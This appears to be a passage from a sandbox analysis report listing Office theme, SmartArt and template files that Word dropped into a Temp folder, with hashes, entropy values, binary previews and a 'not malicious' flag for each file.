SHA-512:	01D27377942F69A0F2FE240DD73A1F97BB915E19D3D716EE4296C6EF8D8933C80E4E0C02F6C9FA72E531246713364190A2F67F43EDBE12826A1529BC2A629B00
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.r.o.p.l.e.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDFD28.tmp\Damask.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2218943
Entropy (8bit):	7.942378408801199
Encrypted:	false
SSDEEP:	49152:8mwK3gH/l4hM06Wqnnl1IdO9wASFntrPEWNe7:863gHt4hM9WWnMdO9w35PEWK
MD5:	EE33FDA08FBF10EF6450B875717F8887
SHA1:	7DFA77B8F4559115A6BF186EDE51727731D7107D
SHA-256:	5CF611069F281584DE3E63DE8B99253AA665867299DC0192E8274A32A82CAA20
SHA-512:	AED6E11003AAAACC3FB28AE838EDA521CB5411155063DFC391ACE2B9CBDFBD5476FAB2B5CC528485943EBBF537B95F026B7B5AB619893716F0A91AEFF076D885
Malicious:	false
Preview:	PK.........{MBS'..t...ip......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.._..w._..w._..w._..w._..w._..w.n..Ofu.-..K.e........T..q.F...R[...~.u.....Z..F....7.?.v....5O....zot..i.....b...^...Z...V...R...N...r./.?........=....#.`..\~n.n...)J./.......7........+......Q..]n............w......Ft........\|......b...^...Z...V...R...N..W<x......l._...l..?.A......x....x.9.\|.8..............u................w#.....nD..]...........R.......R.......R........o...].`.....A....#.`..\.....+J./.......7........+......Q..]n.........w9~7......Ft........\|......b...^.c..-...-...-

C:\Users\user\AppData\Local\Temp\TCDFD28.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.544065206514744
Encrypted:	false
SSDEEP:	6:Q+sxnxUXCARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyy6ymD0wbnKNAH/lMz1
MD5:	06B3DDEFF905F75FA5FA5C5B70DCB938
SHA1:	E441B94F0621D593DC870A27B28AC6BE3842E7DB
SHA-256:	72D49BDDE44DAE251AEADF963C336F72FA870C969766A2BB343951E756B3C28A
SHA-512:	058792BAA633516037E7D833C8F59584BA5742E050FA918B1BEFC6F64A226AB3821B6347A729BEC2DF68BB2DFD2F8E27947F74CD4F6BDF842606B9DEDA0B75CC
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.a.m.a.s.k...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDFD67.tmp\Slate.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2357051
Entropy (8bit):	7.929430745829162
Encrypted:	false
SSDEEP:	49152:tfVcGO3JiR6SgT7/bOCrKCsaFCX3CzwovQTSwW8nX:pVcG2iRedsaoXSzeOwWEX
MD5:	5BDE450A4BD9EFC71C370C731E6CDF43
SHA1:	5B223FB902D06F9FCC70C37217277D1E95C8F39D
SHA-256:	93BFC6AC1DC1CFF497DF92B30B42056C9D422B2321C21D65728B98E420D4ED50
SHA-512:	2365A9F76DA07D705A6053645FD2334D707967878F930061D451E571D9228C74A8016367525C37D09CB2AD82261B4B9E7CAEFBA0B96CE2374AC1FAC6B7AB5123
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDFD67.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.516423078177173
Encrypted:	false
SSDEEP:	6:Q+sxnxUX7kARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny5ymD0wbnKNAH/lMz1
MD5:	5402138088A9CF0993C08A0CA81287B8
SHA1:	D734BD7F2FB2E0C7D5DB8F70B897376ECA935C9A
SHA-256:	5C9F5E03EEA4415043E65172AD2729F34BBBFC1A1156A630C65A71CE578EF137
SHA-512:	F40A8704F16AB1D5DCD861355B07C7CB555934BB9DA85AACDCF869DC942A9314FFA12231F9149D28D438BE6A1A14FCAB332E54B6679E29AD001B546A0F48DE64
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .S.l.a.t.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\cab22B.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 2573508 bytes, 2 files, at 0x44 +A "content.inf" +A "Mesh.thmx", flags 0x4, ID 62129, number 1, extra bytes 20 in head, 94 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	2591108
Entropy (8bit):	7.999030891647433
Encrypted:	true
SSDEEP:	49152:ZSBBeAefkpB5iXfQJgi7JBaCCRZ3cM2VDHkvSJO6qzI1tE9Rn:EBI6gbCkMPDHKSJO6qsP6n
MD5:	BEB12A0464D096CA33BAEA4352CE800F
SHA1:	F678D650B4A41676BA05C836D462F34BDC5BF648
SHA-256:	A44166F5C9F2553555A43586BA5DB1C1DE54D72D308A48268F27C6A00076B1CA
SHA-512:	B6E7CCD1ECBB9A49FC72E40771725825DAF41DDB2FF8EA4ECCE18B8FA1A59D3B2C474ADD055F30DA58C7E833A6E6555EBB77CCC324B61CA337187B4B41F7008B
Malicious:	false
Preview:	MSCF.....D'.....D............................D'..D..........z...^..............M7. .content.inf............M7. .Mesh.thmx....&~j..[.....0.................]............ww,v.\....D......3m..m!f..0..E{..?..`..A...k.:....I..........\|bmG.FS...f.;.J.vzb.......R.......-....\|.......ESD.....".4M..M..t.N....y..,..#.4.5.2.......'.8.Q..3.D..T....!.......&rJg...s........(..9........Dw..'....9.-..G.c............E.. .O.....a..O.._..s..)7Wz~....bJ..D...o....0..R/.#...?.......~6.Q?....?y...g.?............TP..r-...>....-..!.6...B.....\../...2....4...p$...Oge.G.?.....S.#x(..$.A~.U.%f....dJ..S.f{.g.._..3{.fm2.....Z.\o&.[k.m....ko.8..r.-.Go.OQ..'!6..f.L...Ud.$.q.L.....R.. J.T&4g...7.2K...#k.[.].:....lk.....;c..DRx.`..&L..cpv.>.Ngz~.{..v5.\...'C.<R:.C8.\|.fE{......K...).....T...gz}..rF..Q.dof7.....D.f=cm...U\|.O.]F...5zg(.. ....S..._?D....^..+.i...Z.....+X..U!4qy..._..`I..>./.W.7......=.O....BG..=..%9\|...3.?...}.$"..H..u...0.......a..:t?.....8...Z..#g.=<.e.`\......KQ..U....

C:\Users\user\AppData\Local\Temp\cab23C.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 2511552 bytes, 2 files, at 0x44 +A "content.inf" +A "Main_Event.thmx", flags 0x4, ID 59889, number 1, extra bytes 20 in head, 90 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	2527736
Entropy (8bit):	7.992272975565323
Encrypted:	true
SSDEEP:	49152:NFXdpz4d98p/q5jA4q+9Uf5kx6wHR8WfPJZVhWzH4dRze76YP9nJ7yyAInT76nSY:NFXdKx5sM9SmxHKexZVhutJJVpCSqa0Z
MD5:	F256ACA509B4C6C0144D278C7036B0A8
SHA1:	93F6106D0759AFD0061F73B876AA9CAB05AA8EF6
SHA-256:	AD26761D59F1FA9783C2F49184A2E8FE55FCD46CD3C49FFC099C02310649DC67
SHA-512:	08C57661F8CC9B547BBE42B4A5F8072B979E93346679ADE23CA685C0085F7BC14C26707B3D3C02F124359EBB640816E13763C7546FF095C96D2BB090320F3A95
Malicious:	false
Preview:	MSCF.....R&.....D............................R&.8?..............Z..............M). .content.inf..,........M). .Main_Event.thmx......R..[...............=.1.^xa..^...../..^x....QA^"....^/.I.{/F..F..........6Vn. ..._Hmc......<....#.{.@.....Xl../Y....Ye..'V.f.S.Vf.T..0t+..y...5O...{.....-.dT...........!...[ .ns..k.....QAA.. ....B..u.`.....{.\u8.0.....@t........K....@..w.......>...-1F...........1.E....O............_M.m..CP.O......X......g......].../..:C...Q...i.._"...M..1o...S../...9....k;...}S........y..;1o....1h......t.CL.3...].@...T...4.6.}.....M...f...[.s.."f....nZ.W......0.c.{.`.^..Oo.[.JT.2].^.f..a....kO......Q..G..s.5...V.Wj.....e...I,]...SHa..U.N.N.....v.C.....x..J{.Z.t...]WN...77BO-J......g......3:i..2..EFeL.,n..t:..,~4gt.w...M.5.'h.L..#..A&.O.ys%K.Z....F.PW..=jH...jGB.i..j.J.^.#.\n...J@.....-5.f.1jZ68.o...H2.......$O...>..ld&,#$.&_....yl.fkP$.........l....s....i.tx.~<.z...>..2.Gx..B..z.E.3.N<....`$.....b..?.w.[.X..1.=q!.s......v.......r.w

C:\Users\user\AppData\Local\Temp\cab2CB.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3239239 bytes, 2 files, at 0x44 +A "content.inf" +A "Vapor_Trail.thmx", flags 0x4, ID 19811, number 1, extra bytes 20 in head, 111 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	3256855
Entropy (8bit):	7.996842935632312
Encrypted:	true
SSDEEP:	98304:wh7I1aeH9YvgK+A+a7GiiQzP4YZDpQ2+Sd6Y:w21ay93aypQzzhpBL/
MD5:	8867BDF5FC754DA9DA6F5BA341334595
SHA1:	5067CCE84C6C682B75C1EF3DEA067A8D58D80FA9
SHA-256:	42323DD1D3E88C3207E16E0C95CA1048F2E4CD66183AD23B90171DA381D37B58
SHA-512:	93421D7FE305D27E7E2FD8521A8B328063CD22FE4DE67CCCF5D3B8F0258EF28027195C53062D179CD2EBA3A7E6F6A34A7A29297D4AF57650AA6DD19D1EF8413D
Malicious:	false
Preview:	MSCF....Gm1.....D...............cM..........Gm1..D..............o... ..........MP. .content.inf...7. ......MP. .Vapor_Trail.thmx..n...N..[......L........7...+I..x...P7/...BH..Rm.\yqi.x..B....{.m.............=.....p.%.@......BpV.[......C.4..X./..Y.'SB..........0.Gr.FG.).....R\...2..Jt..1..._.4_B..................cn7H.-.....Q...1..G{G.~.. '.$......@.(....=@=..`....@.@.A. ....'.4`. .@....D...'....S.s..9.7" /....?.aY.c.........LG....k...?_.....P.....?.1.....FB..m..t...['......:...?...W..../~..z.Tr...X.@...._....3..N..p.....b...t.....^..t...~..t.8A...t_....D..3R.Z.=..{.A.8).3-5..v.isz....0A~%.s.D.4....k.K......8......)R.}f.E..n.g&:W...'E....4%T..>......b.y..[..zI....e...j.s....F.....\|7826U.C.,..BY.U.F.f......"..#.m..,..._...#.\.....gPP.2.}Kas......g..3.d0.Z.Z.]..n......MY]6.....].m..D.6...?.n.20.,.#...S...JK..#.W.%.Z4.....i..CBf...../..z......n.N...U.....8t...ny...=.!..#..SF..e...1.P..@.Qx*.f.;..t..S.>..... F..)...@.Y..5j....x....vI.mM....Z.W..77...

C:\Users\user\AppData\Local\Temp\cab56D.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3400898 bytes, 2 files, at 0x4c "Insight design set.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 106 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	3417042
Entropy (8bit):	7.997652455069165
Encrypted:	true
SSDEEP:	98304:1YYkj2mRz6vkkB15AW4QD0ms+FdniD60bDUpS:qYkj7d6vP7NZDLn+PM8
MD5:	749C3615E54C8E6875518CFD84E5A1B2
SHA1:	64D51EB1156E850ECA706B00961C8B101F5AC2FC
SHA-256:	F2D2DF37366F8E49106980377D2448080879027C380D90D5A25DA3BDAD771F8C
SHA-512:	A5F591BA5C31513BD52BBFC5C6CAA79C036C7B50A55C4FDF96C84D311CCDCF1341F1665F1DA436D3744094280F98660481DCA4AA30BCEB3A7FCCB2A62412DC99
Malicious:	false
Preview:	MSCF......3.....L.............................3..?..............j.....3.....t.4.............Insight design set.dotx.................Content.inf...QJ.N..[.........R.....L....N).J\|E.B.$.B).3,...n.....JW....k.U1..M...3#.5....$^.....;vR...Z.nj...#......^......a.{..(..o.v...!L`...T.-&jZ`.\.0.....G.."b.m..F.X......$>%..?.D..H.l.j....$.......MrQ......q-....hx...6.D.3...j....n..U#R..3....sm?..xJr..............$G8..t.g...?.g.}......$P._...7.#..w..9DR....lu....?..'.Ai..v.vl..`......B..N_....W./.;...c=oYW.lL'bv.......+...9.P..B=...Y.SX=EL.5o....?H.e\|.Fn.M[...d.v.....i......9..U..H....uq.Nrn..@..e...3....8.....s8}z..$........B....26...d..?.l....=.aeM.[..\|n....H.;..7A.`....=.F...V.Y.l..8.........%e.x0S.....~..2..%.....U..#.r_.0V.v.6w.l.......Y.........v..o+....sn.$^'.Il...akUU....w....~.....&8.Vwj.....Q.uQ..&..G.($.2.s.?m.B.~j...+G.W..qi..g..5.)){O........o.ow.(;.{...y;n...J...&.F2.@.;......[{'w..........`....czW.........?W...}..w....x..........

C:\Users\user\AppData\Local\Temp\cabE9AE.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 9170 bytes, 2 files, at 0x44 "InterconnectedBlockProcess.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	25314
Entropy (8bit):	7.729848360340861
Encrypted:	false
SSDEEP:	384:75V23GNhfG/YvmBqWDP7G8E0GftpBjEB1vrFLrHRN7mKll7PK/pRU0:LS/Yvc7TG8Pi6BLm6IS0
MD5:	C47E3430AF813DF8B02E1CB4829DD94B
SHA1:	35F1F1A18AA4FD2336A4EA9C6005DBE70013C7FC
SHA-256:	F2DB1E60533F0D108D5FB1004904C1F2E8557D4493F3B251A1B3055F8F1507A3
SHA-512:	6F8904E658EB7D04C6880F7CC3EC63FCFE31EF2C3A768F4ECF40B115314F23774DAEE66DCE9C55FAF0AD31075A3AC27C8967FD341C23C953CA28BDC120997287
Malicious:	false
Preview:	MSCF.....#......D............................#...?...................#..............InterconnectedBlockProcess.glox......#..........Content.inf...<.:#.$[......O..........5f.P.5CU..6..jT..U..U..UM.T.........h................-... .......6...`.....G...........'.,DN:........... "..4..1u.....%.u..{{,....@lp..}..`.......Z...K.....Z..... Z4.<?..C.BF.....k.!Hl...]...Tvf..g....)...vny6.'..f....Z.R.`.......+....!..!.....:..4fj....."q..f..E..^!k.....M.c....R...B......g...~.........o.'.7,.e.,..7.R.e,(.+..+:....Q....f...P.H.I..U.....Jl...l...z.]7...C...<...L.,..@...i.{..e]K...2..KRW..7.-'.G.l!.n7..J.v.C...%/.....q...@..l..e..$..N..sg8]oo.(q(_.?.X.s...Ua..r0...Rz.o.eT.j...b..}",n.qou..M.[.;%../c.x.4.z.2.U.]..D...h...-R.$.=\3..P......N.mP......J...}BPn...g]d.5k..C.ee.ml...\.g...[.......<..6$.%.I#S9..I...6.i........_..P.n....c$.3..zw.hF......_{.+...o...[.&........&...M..m.....;....0....D7...4nQ.=/.._`._.nh.D.m..h.+....8..p..q.4.w.\...iy...*...lN6F..c.

C:\Users\user\AppData\Local\Temp\cabE9CE.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5864 bytes, 2 files, at 0x44 "architecture.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22008
Entropy (8bit):	7.662386258803613
Encrypted:	false
SSDEEP:	384:M7FUtfIdqSHQs7G8E0GftpBjED/C4RQrFLrHRN7TT8DlvQyUTL2mH:sWgdqR2G8Pi6D6YQZTTMvU+mH
MD5:	ABBF10CEE9480E41D81277E9538F98CB
SHA1:	F4EA53D180C95E78CC1DA88CD63F4C099BF0512C
SHA-256:	557E0714D5536070131E7E7CDD18F0EF23FE6FB12381040812D022EC0FEE7957
SHA-512:	9430DAACF3CA67A18813ECD842BE80155FD2DE0D55B7CD16560F4AAEFDA781C3E4B714D850D367259CAAB28A3BF841A5CB42140B19CFE04AC3C23C358CA87FFB
Malicious:	false
Preview:	MSCF............D................................?..................................architecture.glox.................Content.inf..q5.^...[.....0y......../..CL.C5.Q..U5g.z....UUUMPC...C..P....T.....=..s..4c...-3H..E...2..2*..T...../.i.;$..............%...................'h.........#0.......[........c.h.....O...%.61...[.J..:.,^....W.]$..u...N.R.....H.......:%I.g5Kd.n6...W2.#.UL..h.8NN../.P...H.;@.N.F...v."h..K.....~.....8...{.+...&.#A.Q'..A.....[NJ.X.....\|.\|.G5...vp.h.p..1.....-...gECV.,o{6W.#L....4v..x..z..)[.......T.....BQ.pf..D.}...H....V..[._.'.......3..1....?m..ad..c(K.......N.N.6F%.m......9...4..]?...l6..).\p;w.s....@...I%H.....;\...R......f...3~:C...A..x....X...>...:~.+..r@..."......I..m.y..)F.l..9...6....m...=..Q.F.z..u......J].{WX...V.Z.b.A0B..!....~.;Z.....K.`c..,X.MFz....].Q.2.9..L."...]...6...JOU..6...~../......4A.\|.......i.LKrY...2.R.o..X.\....0.%......>H.....8.z..^....5d\|...4\|...C......R28.E......a....e...J.S..Ng.]<&..mm

C:\Users\user\AppData\Local\Temp\cabE9CF.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6005 bytes, 2 files, at 0x44 "HexagonRadial.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22149
Entropy (8bit):	7.659898883631361
Encrypted:	false
SSDEEP:	384:b98FG/zdCbf7BOEawSi8E0GftpBjEPTFPxFLrHRN7S5ll7PK/pA2:N/zAbDae8Pi6PFPSRIA2
MD5:	66C5199CF4FB18BD4F9F3F2CCB074007
SHA1:	BA9D8765FFC938549CC19B69B3BF5E6522FB062E
SHA-256:	4A7DC4ED098E580C8D623C51B57C0BC1D601C45F40B60F39BBA5F063377C3C1F
SHA-512:	94C434A131CDE47CB64BCD2FB8AF442482F8ECFA63D958C832ECA935DEB10D360034EF497E2EBB720C72B4C1D7A1130A64811D362054E1D52A441B91C46034B0
Malicious:	false
Preview:	MSCF....u.......D...........................u....?..................................HexagonRadial.glox.................Content.inf.........[.....`........./.mT.T6...CP..z5...0.PcUmCUSUCU.Q.P.0..f............^...H..2e.[..8...ld......F.%.j.w!R..NA.L............ .r..z....$&.........P.=.r...O...e..dfv_.i%.C....^......?..x...+d..].B.3..EU...\|Cc..z.`lQp..fr.....8!;.8.p.ZwH\.........~..T.t..]..H.]..S.2..Vt.....r.H../..-8........!:.Y&..\|A..J.U...-.%..k..U...4m.. .q../..b.8.vc~......_q1.?..Bh.v.....L..I.$I..s.".u.. Y....I^5.v...3.......].^)b.t.j...=...Ze~.O...\|.}T.._9c........L....BV.^......X..?.....{.>.j..5.m...d.7........g[..f.nST...i..t..\|.T.jjS..4p.Pxu....W...\|.A)..\|9;....H.e.^.8D..S...M..Lj.\|...M.m+..H.....8.&-....=.L.....n.v..M.9...l....=r......K.F.j.(.(xD.3..r'9.K..-...5..Z..x....._....a[...J...`.b_a\\j.ed..\.3.5....S.T...ms.....E...Xl.y.LH=...}..0.T...04.4..B[..H.....B{B9.h..=.8Mn.*.TL.c..y.s.?.c9$l...).h).6..;.X../_>Pl...O...U.R..v.dy$A

C:\Users\user\AppData\Local\Temp\cabE9D1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 12767 bytes, 2 files, at 0x4c "ieee2006officeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	28911
Entropy (8bit):	7.7784119983764715
Encrypted:	false
SSDEEP:	384:WnJY165YD0tPYoCKa3HueqRyzVscLk1Yj2GjcgbA8E0GftpBjE2kWTpjFLrHRN7N:X4rtPzCK6uRoljXBA8Pi62ZphL0HRA5p
MD5:	6D787B1E223DB6B91B69238062CCA872
SHA1:	A02F3D847D1F8973E854B89D4558413EA2E349F7
SHA-256:	DA2F261C3C82E229A097A9302C8580F014BB6442825DB47C008DA097CFCE0EE4
SHA-512:	9856D88D5C63CD6EBCF26E5D7521F194FA6B6E7BF55DD2E0238457A1B760EB8FB0D573A6E85E819BF8E5BE596537E99BC8C2DCE7EC6E2809A43490CACCD44169
Malicious:	false
Preview:	MSCF.....1......L............................1...?...................0......"}..............ieee2006officeonline.xsl.:...............Content.inf.........[...G."...3$pE...G B....m3o[...I2&.f.,\..........}.n..{..e.8!^.3.A@...x..... .D.52gU..]..."..N8....s..CS..J3..HV...m...y..o....F.z......V.j._....=~k.....'.dY........1........#...d13.g.&C...C.xw.`f.hf..........]M....m.m....ud...,+.H~..cL...e#;(RI...eA....I.b...E...2..(...$.j...L...$..A....'[...H9..&..G.Q....".M.yl....]..?j%+....O~.....\|.se...K\.B"W..F.5.......=s...l.Y...K..yN.TBH[...sTWR.N.d...WEa....T.d.K.^sauI......m..s=.,qso5.b.V.s.]..9..,k4.\..L.;D...........;r.C...7.w.j..:N8.V6..a.3..j:A.mA..To..$.5....:./..p.x.3.=..__...8.EB.K...].-."..5-XU..J.....=o..K.Wavg.o].z.9.gk.._.........MZ.<.5............OY.n.o...r.9v.c.......[n.[..D...d..}.j.....LB,]_.9..St.@..C....\...^....-&.njq..!P....G^.....w.7.p~.......M..g.J............t1......q.w.rx...qp.....E.........-...2..G.........z.]B........d....C.@...@.

C:\Users\user\AppData\Local\Temp\cabE9E2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5647 bytes, 2 files, at 0x44 "RadialPictureList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21791
Entropy (8bit):	7.65837691872985
Encrypted:	false
SSDEEP:	384:PWew5RNDcvPgbA8E0GftpBjE0hsyaFLrHRN7BD9lI66YR:P3GRNDcEA8Pi60hsyABDo66g
MD5:	7BF88B3CA20EB71ED453A3361908E010
SHA1:	F75F86557051160507397F653D7768836E3B5655
SHA-256:	E555A610A61DB4F45A29A7FB196A9726C25772594252AD534453E69F05345283
SHA-512:	2C3DFB0F8913D1D8FF95A55E1A1FD58CE1F9D034268CD7BC0D2BF2DCEFEA8EF05DD62B9AFDE1F983CACADD0529538381632ADFE7195EAC19CE4143414C44DBE3
Malicious:	false
Preview:	MSCF............D................................?..................................RadialPictureList.glox.................Content.inf....8....[.... $nq......C...../U..........a......S.Q...Q....j............(..z,.g.........^...Y..D... #i.TH5.<.=N..$..7.p".7.............`.3..1~,=,(.d8.Z.1....4'G.....!W^gClf._j.-N..&k.....Y3` =.(S..B^...i.zB.U....0O..h...I.(.......L...5.X.8.Sc<=>w.=.?&.....mR.......x.......mpW.T..^.FU...SN.C)......vsa.,x......,....E..i>..[g...#t...M..GR.9..$/4.:..q.bc9..x{bC.0..K.)..t.Y.&.v.d.16.B..c..or..W.,.B.........O.0..k.v........*F+..U.w...d...o8......A).}...#......L.!?.U.r.^.$...e.(..PG)8..+.9.5.l}.)..b.7+. 4....-.lC...\|..j..Q.,.....7.W...\|;j...%...:...\|H..........<..%...K.....Fy.q$.k..}..8.9.M.u.?$].......r.....e.\|..._..iT.;Dq5[....f.s..P.......e.T....!Y{.....t.wm..A..w-..7...3..T.:8.4.a[.Oo.. V.l.@.}..........E.&..J.....+..+.9)9<.._R.Hb.....V..Qu....:v.t.Li.0..J..V..b...!..N....-mD..c..(.[&o>.M.b..H.q..lk../..........W.8..z..B...

C:\Users\user\AppData\Local\Temp\cabE9E3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 7453 bytes, 2 files, at 0x44 "pictureorgchart.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	23597
Entropy (8bit):	7.692965575678876
Encrypted:	false
SSDEEP:	384:y6aR//q0bJi/Uj+957G8E0GftpBj/4YOFLrHRN7LxhKll7PK/ph:y6I/Li/UjmVG8PiZ4YsLxh6Ih
MD5:	7C645EC505982FE529D0E5035B378FFC
SHA1:	1488ED81B350938D68A47C7F0BCE8D91FB1673E2
SHA-256:	298FD9DADF0ACEBB2AA058A09EEBFAE15E5D1C5A8982DEE6669C63FB6119A13D
SHA-512:	9F410DA5DB24B0B72E7774B4CF4398EDF0D361B9A79FBE2736A1DDD770AFE280877F5B430E0D26147CCA0524A54EA8B41F88B771F3598C2744A7803237B314B2
Malicious:	false
Preview:	MSCF............D................................?..................................pictureorgchart.glox.................Content.inf.W..y....[.............../.jC....U.CUUUTU.5...jjPU..MP....T..0....o0.......Y.=....P.({.3.p..."pA!>r../3.q..7...........!...TO....(..%......6...3E?....~......CZmndse.Qy....p....h....=.:5...F..%.E.&.v.`I~. ..%._..b]..Y..Q..R.........nN.q8c..a..L..X/.M...PP.q..SpZ.K]>D"Pf..B.c....0..\|I.Q.,.g/..Kev.../..=......w..}3.....(....+#T.....K`N.u..Z.....rriK.(...(...6.<R.%.]..NX..b..].C.u....++......Ia.x. .7....J.#............w>....7..R...H>....@%....~.yA.......~.UB... .P..$...-...v.....=M."....hw..b....{.....2pR....].C..u@=G."Y..;..gc/N.N.YB.Z.q.#....$....j.D..P..!.)S.{..c....&'E.lJ%.\|O.a...FG.\|.....A..h.=c7.)d.5...D...L...IQ..TTE.NL-.*M..>..p0.`......m..,.w#rZ..wR\@.Wn..@Q...}..&...E...0K.NY....M.71..`.M./:.>..._L..m...,U.l....._fi...nj9..,..w.s.kJ.m.s.M.vmw.!.....B.s.%.-').h.....)c.l....F..`3r...-.....0..7..&N.....n.#H...<7

C:\Users\user\AppData\Local\Temp\cabE9F6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4410 bytes, 2 files, at 0x44 "PictureFrame.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20554
Entropy (8bit):	7.612044504501488
Encrypted:	false
SSDEEP:	384:zEAH676iPi8+IS5iqn7G8E0GftpBjExDxIHFLrHRN7Ke/ll7PK/pGaz6:zEhG8+ISrG8Pi6xDxCKoIGaz6
MD5:	486CBCB223B873132FFAF4B8AD0AD044
